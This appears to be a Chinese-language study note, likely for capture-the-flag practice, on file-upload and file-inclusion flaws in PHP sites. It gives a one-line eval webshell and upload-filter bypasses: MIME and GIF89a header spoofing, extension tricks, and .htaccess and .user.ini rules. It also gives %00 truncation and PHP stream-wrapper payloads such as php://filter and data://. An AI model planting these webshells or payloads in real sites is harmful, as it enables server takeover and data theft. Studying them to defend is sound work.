文件上传漏洞
1、webshell.php
核心代码:<?php @eval($_GET['cmd']);?>
一句话木马在php模块中利用eval函数将后面的字符串作为php代码执行,也就是注入成功后自己执行的字符串,@是php中的错误抑制符,不会回显错误消息,$_GET['cmd']是php的超级全局变量,用于访问利用HTTP GET传参cmd内容,cmd就是要执行的指令
2、上传
通过文件上传将php上传(绕过另外讨论),随后利用get进入该目录,随后加入参数?cmd=system("");输入命令即可
也可以修改GET为POST,利用蚁剑

3、绕过方法
1、js绕过
有些限制是加在前端浏览器中,利用前端js代码来识别注入的php并禁用,这时候f12设置禁用js代码,然后就能成功上传,如果不知道被存放在哪,再取消禁用js,就会得到回显,再按照一般步骤利用即可
2、文件头+MIME绕过
1. 图像类
image/jpeg(JPG/JPEG 格式图片)image/gif(GIF 格式图片,支持动画)image/bmp(BMP 位图格式)image/svg+xml(SVG 矢量图格式)image/webp(WebP 高效图片格式,压缩率高)
2. 文档类
application/pdf(PDF 文档)application/msword(Word 旧版格式,.doc)application/vnd.openxmlformats-officedocument.wordprocessingml.document(Word 新版格式,.docx)application/vnd.ms-excel(Excel 旧版格式,.xls)application/vnd.openxmlformats-officedocument.spreadsheetml.sheet(Excel 新版格式,.xlsx)text/plain(纯文本文件,.txt)text/html(HTML 网页文件)
3. 音频 / 视频类
audio/mpeg(MP3 音频文件)audio/wav(WAV 音频文件)video/mp4(MP4 视频文件)video/mpeg(MPEG 视频文件)video/quicktime(MOV 视频文件,QuickTime 格式)
4. 压缩 / 归档类
application/zip(ZIP 压缩文件)application/x-rar-compressed(RAR 压缩文件)application/gzip(GZIP 压缩文件)
![Pasted image 20250728105947.png]]
以及内容绕过,在前面加上GIF89a修改为图片类型
![Pasted image 20250728112718.png]]
关键在于这个地方,也就是修改数据包
同时修改文件类型和文件头(这是GIF89a)
最后得到返回数据包![Pasted image 20250728113111.png]]
找到存放位置并且放置成功
使用蚁剑连接即可
3、黑名单绕过
1、双写:shell.phphpp
2、大小写:shell.PHP
3、其他后缀: php2, php3, php4, php5, phps, pht, phtm, phtml
4、空格绕过:shell.php 空格
5、点绕过:shell.php.
6、流绕过:shell.php ::$DATA
后三者属于Windows系统自身机制问题会自动屏蔽
4、script+MIME绕过
1、 GIF89A <?php $_POST[1] ?>
2、 <script language="php">phpinfo();</script>
3、 <?= system(cat /flag);?>
一些不同的script写法从而绕过一些敏感字段
5、配置文件绕过
第一种是.htaccesss文件自动识别png解析为php
addType application/x-httpd-php .png
上传该文件后再上传png木马
第二种是.user.ini
auto_prepend_file=1.gif
作为gif木马的解析
注意,该方法要求必须两个文件在同一文件夹下
2、文件包含漏洞
由于在建设网站中的可用性,会在不同的php中实现代码复用,例如:
`http://xxx.com/index.php?page=...
同样,利用这个特性,我们可以复用木马或别的什么东西实现目的
且所有引用文件默认为php解析
- 本地文件包含
http://xxx.com/index.php?page=header.php - 远程文件包含
`http://xxx.com/index.php?page=http://www.baidu.com 
3、%00截断漏洞
在早期版本中,在%00会被识别为字符串结束标志从而绕过第一波审查实现读入
在有时我们进入目录试图执行木马会不能直接执行,因为它会加一个.xxx后缀,这时候我们用%00截断它给你添加的后缀即可
4、伪协议绕过
file://        — 访问本地文件系统
http://        — 于访问远程文件(需要allow_url_include开启)。
ftp://         — 访问 FTP(s) URL
php://         —访问各个输入/输出流(I/Ostreams)、过滤器等
    常见子协议:
            php://input:读取POST请求的原始数据。
            php://filter:对文件内容进行过滤或编码。  
zlib://        — 压缩流
data://        —数据(RFC 2397)用于直接嵌入数据(如Base64编码的数据)
glob://        — 查找匹配的文件路径模式
phar://        — PHP 归档
ssh2://        — Secure Shell 2
rar://         — RAR
ogg://        — 音频流
expect://      — 处理交互式的流
php://filter/read=convert.base64-encode/resource=index.php
filter模板化解题法
php://input
post:php代码
input
data://text/plain,php代码
data://text/plain;base64,base64编码的php代码
data
zip://archive.zip#file.txt
zip://绝对(相对)路径/xx.zip%23被压缩的文件
zip
phar://相对路径/xx.zip/被压缩的文件
phar

                
            
        
浙公网安备 33010602011771号